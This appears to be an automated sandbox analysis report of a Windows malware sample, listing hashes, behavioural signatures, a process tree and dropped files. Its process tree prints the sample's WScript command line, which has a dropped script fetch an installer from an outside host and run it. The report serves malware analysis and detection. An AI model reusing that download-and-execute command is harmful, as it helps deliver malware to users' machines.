Analysis

  • max time kernel
    168s
  • max time network
    168s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2022 08:54

General

  • Target

    afa61f039544e110b56ac0f80c260b7b24d2f16f5041ecdc8f78b4e677c29653.exe

  • Size

    184KB

  • MD5

    1c52c88313c090bdafa109c678733298

  • SHA1

    93c78e5cb63c0fce14389ab898c933de70c257d2

  • SHA256

    afa61f039544e110b56ac0f80c260b7b24d2f16f5041ecdc8f78b4e677c29653

  • SHA512

    94a1f713a3905270638c612f8fbd5f0cdf3b9048828beef022c6d0bf66a84d00a456c48c929c9842447d5307bc9eceb0a73f88f97d79e52c6c98946fcb460ba4

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3s:/7BSH8zUB+nGESaaRvoB7FJNndnN

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\afa61f039544e110b56ac0f80c260b7b24d2f16f5041ecdc8f78b4e677c29653.exe
    "C:\Users\Admin\AppData\Local\Temp\afa61f039544e110b56ac0f80c260b7b24d2f16f5041ecdc8f78b4e677c29653.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4172
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB0D6.js" http://www.djapp.info/?domain=eYkqJRPXKb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufB0D6.exe
      2⤵
      • Blocklisted process makes network request
      PID:4324
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB0D6.js" http://www.djapp.info/?domain=eYkqJRPXKb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufB0D6.exe
      2⤵
      • Blocklisted process makes network request
      PID:1392

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufB0D6.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • memory/1392-134-0x0000000000000000-mapping.dmp

  • memory/4324-132-0x0000000000000000-mapping.dmp